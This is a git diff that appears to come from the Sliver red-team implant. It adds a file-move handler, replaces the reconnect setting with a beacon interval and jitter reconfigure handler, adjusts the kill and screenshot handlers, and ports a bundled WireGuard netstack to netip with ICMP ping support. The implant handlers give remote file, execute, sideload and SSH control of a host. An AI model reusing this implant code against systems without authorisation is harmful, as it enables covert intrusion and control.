recIntervalResp.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
recIntervalResp.Response.Err = err.Error()
|
||||
if reconfigReq.ReconnectInterval != 0 {
|
||||
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(recIntervalResp)
|
||||
// {{if .Config.IsBeacon}}
|
||||
if reconfigReq.BeaconInterval != 0 {
|
||||
transports.SetInterval(reconfigReq.BeaconInterval)
|
||||
}
|
||||
if reconfigReq.BeaconJitter != 0 {
|
||||
transports.SetJitter(reconfigReq.BeaconJitter)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
reconfigResp := &sliverpb.Reconfigure{}
|
||||
data, err = proto.Marshal(reconfigResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
@@ -561,6 +582,9 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func gzipWrite(w io.Writer, data []byte) error {
|
||||
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer gw.Close()
|
||||
gw.Write(data)
|
||||
return err
|
||||
|
||||
@@ -37,6 +37,7 @@ var (
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
@@ -48,8 +49,8 @@ var (
|
||||
|
||||
pb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
pb.MsgReconfigureReq: reconfigureHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
pb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
|
||||
@@ -32,19 +32,20 @@ import (
|
||||
|
||||
var (
|
||||
genericHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ var (
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
@@ -46,8 +47,8 @@ var (
|
||||
sliverpb.MsgNetstatReq: netstatHandler,
|
||||
sliverpb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
|
||||
@@ -82,17 +82,18 @@ var (
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
|
||||
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
|
||||
}
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
sc := &sliverpb.Screenshot{}
|
||||
sc := &sliverpb.ScreenshotReq{}
|
||||
err := proto.Unmarshal(data, sc)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Screenshot Request")
|
||||
// {{end}}
|
||||
|
||||
sc.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(sc)
|
||||
scRes := &sliverpb.Screenshot{}
|
||||
scRes.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(scRes)
|
||||
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
@@ -22,6 +22,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -54,6 +55,9 @@ func killHandler(data []byte, _ *transports.Connection) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Let's exit!")
|
||||
// {{end}}
|
||||
os.Exit(0)
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
os.Exit(0)
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
+347
-96
@@ -1,7 +1,6 @@
|
||||
/* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
|
||||
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
|
||||
*/
|
||||
|
||||
package netstack
|
||||
@@ -14,7 +13,9 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -22,15 +23,17 @@ import (
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
|
||||
"golang.org/x/net/dns/dnsmessage"
|
||||
"inet.af/netstack/tcpip"
|
||||
"inet.af/netstack/tcpip/adapters/gonet"
|
||||
"inet.af/netstack/tcpip/buffer"
|
||||
"inet.af/netstack/tcpip/header"
|
||||
"inet.af/netstack/tcpip/network/ipv4"
|
||||
"inet.af/netstack/tcpip/network/ipv6"
|
||||
"inet.af/netstack/tcpip/stack"
|
||||
"inet.af/netstack/tcpip/transport/tcp"
|
||||
"inet.af/netstack/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/buffer"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/header"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/stack"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/waiter"
|
||||
)
|
||||
|
||||
type netTun struct {
|
||||
@@ -39,11 +42,14 @@ type netTun struct {
|
||||
events chan tun.Event
|
||||
incomingPacket chan buffer.VectorisedView
|
||||
mtu int
|
||||
dnsServers []net.IP
|
||||
dnsServers []netip.Addr
|
||||
hasV4, hasV6 bool
|
||||
}
|
||||
type endpoint netTun
|
||||
type Net netTun
|
||||
|
||||
type (
|
||||
endpoint netTun
|
||||
Net netTun
|
||||
)
|
||||
|
||||
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
|
||||
e.dispatcher = dispatcher
|
||||
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
|
||||
|
||||
func (*endpoint) Wait() {}
|
||||
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
|
||||
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
|
||||
}
|
||||
|
||||
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
|
||||
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
|
||||
opts := stack.Options{
|
||||
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
|
||||
HandleLocal: true,
|
||||
}
|
||||
dev := &netTun{
|
||||
@@ -109,17 +119,23 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
|
||||
}
|
||||
for _, ip := range localAddresses {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if ip.Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else if ip.Is6() {
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
protoAddr := tcpip.ProtocolAddress{
|
||||
Protocol: protoNumber,
|
||||
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
|
||||
}
|
||||
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
|
||||
}
|
||||
if ip.Is4() {
|
||||
dev.hasV4 = true
|
||||
} else {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
} else if ip.Is6() {
|
||||
dev.hasV6 = true
|
||||
}
|
||||
}
|
||||
@@ -129,10 +145,6 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
if dev.hasV6 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
|
||||
}
|
||||
// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
|
||||
// if tcpipErr != nil {
|
||||
// return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
|
||||
// }
|
||||
|
||||
dev.events <- tun.EventUp
|
||||
return dev, (*Net)(dev), nil
|
||||
@@ -195,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
|
||||
return tun.mtu, nil
|
||||
}
|
||||
|
||||
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip4),
|
||||
Port: uint16(port),
|
||||
}, ipv4.ProtocolNumber
|
||||
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if endpoint.Addr().Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip),
|
||||
Port: uint16(port),
|
||||
}, ipv6.ProtocolNumber
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
|
||||
Port: endpoint.Port(),
|
||||
}, protoNumber
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.ListenTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
var lfa, rfa *tcpip.FullAddress
|
||||
var pn tcpip.NetworkProtocolNumber
|
||||
if laddr != nil {
|
||||
if laddr.IsValid() || laddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
|
||||
addr, pn = convertToFullAddr(laddr)
|
||||
lfa = &addr
|
||||
}
|
||||
if raddr != nil {
|
||||
if raddr.IsValid() || raddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
|
||||
addr, pn = convertToFullAddr(raddr)
|
||||
rfa = &addr
|
||||
}
|
||||
return gonet.DialUDP(net.stack, lfa, rfa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
var la, ra netip.AddrPort
|
||||
if laddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(laddr.IP)
|
||||
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
|
||||
}
|
||||
if raddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(raddr.IP)
|
||||
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
|
||||
}
|
||||
return net.DialUDPAddrPort(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
return net.DialUDP(laddr, nil)
|
||||
}
|
||||
|
||||
type PingConn struct {
|
||||
laddr PingAddr
|
||||
raddr PingAddr
|
||||
wq waiter.Queue
|
||||
ep tcpip.Endpoint
|
||||
deadline *time.Timer
|
||||
}
|
||||
|
||||
type PingAddr struct{ addr netip.Addr }
|
||||
|
||||
func (ia PingAddr) String() string {
|
||||
return ia.addr.String()
|
||||
}
|
||||
|
||||
func (ia PingAddr) Network() string {
|
||||
if ia.addr.Is4() {
|
||||
return "ping4"
|
||||
} else if ia.addr.Is6() {
|
||||
return "ping6"
|
||||
}
|
||||
return "ping"
|
||||
}
|
||||
|
||||
func (ia PingAddr) Addr() netip.Addr {
|
||||
return ia.addr
|
||||
}
|
||||
|
||||
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
|
||||
return &PingAddr{addr}
|
||||
}
|
||||
|
||||
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
|
||||
if !laddr.IsValid() && !raddr.IsValid() {
|
||||
return nil, errors.New("ping dial: invalid address")
|
||||
}
|
||||
v6 := laddr.Is6() || raddr.Is6()
|
||||
bind := laddr.IsValid()
|
||||
if !bind {
|
||||
if v6 {
|
||||
laddr = netip.IPv6Unspecified()
|
||||
} else {
|
||||
laddr = netip.IPv4Unspecified()
|
||||
}
|
||||
}
|
||||
|
||||
tn := icmp.ProtocolNumber4
|
||||
pn := ipv4.ProtocolNumber
|
||||
if v6 {
|
||||
tn = icmp.ProtocolNumber6
|
||||
pn = ipv6.ProtocolNumber
|
||||
}
|
||||
|
||||
pc := &PingConn{
|
||||
laddr: PingAddr{laddr},
|
||||
deadline: time.NewTimer(time.Hour << 10),
|
||||
}
|
||||
pc.deadline.Stop()
|
||||
|
||||
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
|
||||
if tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
|
||||
}
|
||||
pc.ep = ep
|
||||
|
||||
if bind {
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
|
||||
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
if raddr.IsValid() {
|
||||
pc.raddr = PingAddr{raddr}
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
|
||||
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
return pc, nil
|
||||
}
|
||||
|
||||
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
|
||||
return net.DialPingAddr(laddr, netip.Addr{})
|
||||
}
|
||||
|
||||
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
|
||||
var la, ra netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
if raddr != nil {
|
||||
ra = raddr.addr
|
||||
}
|
||||
return net.DialPingAddr(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
|
||||
var la netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
return net.ListenPingAddr(la)
|
||||
}
|
||||
|
||||
func (pc *PingConn) LocalAddr() net.Addr {
|
||||
return pc.laddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) RemoteAddr() net.Addr {
|
||||
return pc.raddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) Close() error {
|
||||
pc.deadline.Reset(0)
|
||||
pc.ep.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
|
||||
return errors.New("not implemented")
|
||||
}
|
||||
|
||||
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
|
||||
var na netip.Addr
|
||||
switch v := addr.(type) {
|
||||
case *PingAddr:
|
||||
na = v.addr
|
||||
case *net.IPAddr:
|
||||
na, _ = netip.AddrFromSlice(v.IP)
|
||||
default:
|
||||
return 0, fmt.Errorf("ping write: wrong net.Addr type")
|
||||
}
|
||||
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
|
||||
return 0, fmt.Errorf("ping write: mismatched protocols")
|
||||
}
|
||||
|
||||
buf := buffer.NewViewFromBytes(p)
|
||||
rdr := buf.Reader()
|
||||
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
|
||||
// won't block, no deadlines
|
||||
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
|
||||
To: &rfa,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
|
||||
}
|
||||
|
||||
return int(n64), nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Write(p []byte) (n int, err error) {
|
||||
return pc.WriteTo(p, &pc.raddr)
|
||||
}
|
||||
|
||||
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
|
||||
e, notifyCh := waiter.NewChannelEntry(nil)
|
||||
pc.wq.EventRegister(&e, waiter.EventIn)
|
||||
defer pc.wq.EventUnregister(&e)
|
||||
|
||||
select {
|
||||
case <-pc.deadline.C:
|
||||
return 0, nil, os.ErrDeadlineExceeded
|
||||
case <-notifyCh:
|
||||
}
|
||||
|
||||
w := tcpip.SliceWriter(p)
|
||||
|
||||
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
|
||||
NeedRemoteAddr: true,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
|
||||
}
|
||||
|
||||
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
|
||||
return res.Count, &PingAddr{remoteAddr}, nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Read(p []byte) (n int, err error) {
|
||||
n, _, err = pc.ReadFrom(p)
|
||||
return
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetDeadline(t time.Time) error {
|
||||
// pc.SetWriteDeadline is unimplemented
|
||||
|
||||
return pc.SetReadDeadline(t)
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetReadDeadline(t time.Time) error {
|
||||
pc.deadline.Reset(t.Sub(time.Now()))
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
errNoSuchHost = errors.New("no such host")
|
||||
errLameReferral = errors.New("lame referral")
|
||||
@@ -426,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
|
||||
return p, h, nil
|
||||
}
|
||||
|
||||
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
q.Class = dnsmessage.ClassINET
|
||||
id, udpReq, tcpReq, err := newRequest(q)
|
||||
if err != nil {
|
||||
@@ -440,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
|
||||
var c net.Conn
|
||||
var err error
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
|
||||
c.SetDeadline(d)
|
||||
err := c.SetDeadline(d)
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
}
|
||||
var p dnsmessage.Parser
|
||||
var h dnsmessage.Header
|
||||
@@ -593,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
zlen = zidx
|
||||
}
|
||||
}
|
||||
if ip := net.ParseIP(host[:zlen]); ip != nil {
|
||||
return []string{host[:zlen]}, nil
|
||||
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
|
||||
return []string{ip.String()}, nil
|
||||
}
|
||||
|
||||
if !isDomainName(host) {
|
||||
@@ -605,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
server string
|
||||
error
|
||||
}
|
||||
var addrsV4, addrsV6 []net.IP
|
||||
var addrsV4, addrsV6 []netip.Addr
|
||||
lanes := 0
|
||||
if tnet.hasV4 {
|
||||
lanes++
|
||||
@@ -660,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV4 = append(addrsV4, net.IP(a.A[:]))
|
||||
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
|
||||
|
||||
case dnsmessage.TypeAAAA:
|
||||
aaaa, err := result.p.AAAAResource()
|
||||
@@ -672,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
|
||||
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
|
||||
|
||||
default:
|
||||
if err := result.p.SkipAnswer(); err != nil {
|
||||
